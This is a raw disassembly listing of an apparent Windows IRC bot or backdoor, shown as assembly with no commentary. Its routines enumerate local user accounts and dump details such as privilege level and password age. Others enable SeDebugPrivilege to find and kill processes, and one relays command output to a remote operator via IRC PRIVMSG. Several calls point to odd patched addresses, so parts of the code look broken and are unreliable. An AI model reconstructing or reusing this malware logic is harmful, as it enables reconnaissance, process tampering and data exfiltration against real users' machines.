; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DAE20 lea eax, [eax+eax*2] push off_4389D0[eax*4] push offset unk_439128 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE7C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE6C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFFC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_4391A0 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB034 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAF04 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439390 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43935C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB034 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB034 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DABC0 call sub_41B886 pop ecx mov eax, offset dword_4DABC0 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAFB4 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA9BC push offset unk_4396C4 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA9BC push eax push offset dword_439698 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 27205B5h push eax call dword_4CAF88 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF60 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CB010 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 26609B7h mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAFC4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAFA8, ebx jz loc_4198BB cmp dword_4CAEB8, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAFC4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAFA8 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAEB8 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396F0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2850000h test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439750 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 2710BFCh test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAFC4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE64 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAEB8 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 2710BFCh test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398F0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_4398CC jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_4398A8 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26E0A63h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 2680243h nop mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi call near ptr 2710BFCh nop test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 26609B7h loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396ECh, 74F2E890h, 0E3EB0225h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB228 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB230 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB224 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB22C nop call near ptr 2700000h test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D158 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 2670F10h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB234 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB228 nop call near ptr 285095Bh test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB224 nop call near ptr 2850432h test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah call near ptr 2670F10h nop jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB228 nop call near ptr 2710000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB268 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; 